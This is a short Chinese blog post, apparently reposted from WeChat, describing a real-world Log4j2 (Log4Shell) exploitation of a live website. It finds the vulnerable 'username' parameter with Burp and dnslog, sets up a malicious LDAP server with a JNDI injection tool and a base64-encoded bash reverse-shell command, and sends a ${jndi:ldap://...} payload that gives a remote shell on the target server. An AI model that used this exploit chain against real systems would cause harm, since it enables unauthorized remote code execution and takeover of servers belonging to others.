Log4j2 漏洞实战案例
2022-4-5 09:19:0 Author: mp.weixin.qq.com(查看原文) 阅读量:42 收藏

文章来源 :Bypass

在现在以及未来的一段时间里,Log4j2 漏洞依然是渗透和排查的重点。在测试靶场里复现多次,在实战中遇到还是十分兴奋,So,总得记录点什么吧。


01、漏洞发现

通过burp插件的方式,将Log4j2漏洞检测能力集成到burp进行被动扫描。在访问网站抓包的过程中,检测到目标站点存在Log4j2 RCE漏洞。

02、确认漏洞参数

由于使用参数Fuzz,每个数据包里都夹带多个参数注入Payload,我们需要进一步定位到具体的漏洞参数位置。

(1)登录ceye.io,可以查看当前的dnslog。

(2)对比burp参数注入的payload和dnslog请求,可初步确认参数username存在Log4j2 RCE漏洞。

03、构建ldap服务

通过JNDI注入利用的工具,构建好恶意类地址和ldap服务,为进一步漏洞利用做好准备。

(1)构建payload,将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。

在线编码地址:

https://www.jackson-t.ca/runtime-exec-payloads.html

(2)用JNDIExploit启动一个ldap的服务。

命令如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”

04、获取目标权限

利用Log4j2漏洞向目标服务器发送构造的payload语句,反弹shell,从而获取目标服务器权限。

(1)启动端口监听

(2)在burp进行构造payload,url编码后发送请求。

Payload:

?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}

(3)服务端成功接收到bash反弹的shell。

侵权请私聊公众号删文



文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650536168&idx=2&sn=48fbfbadf42a7ae55f710aec8ab19441&chksm=83ba9d0cb4cd141aee779a6f33ef3d74b83fec64a47553224c87f0670d4697e44fe094ba9920#rd
如有侵权请联系:admin#unsafe.sh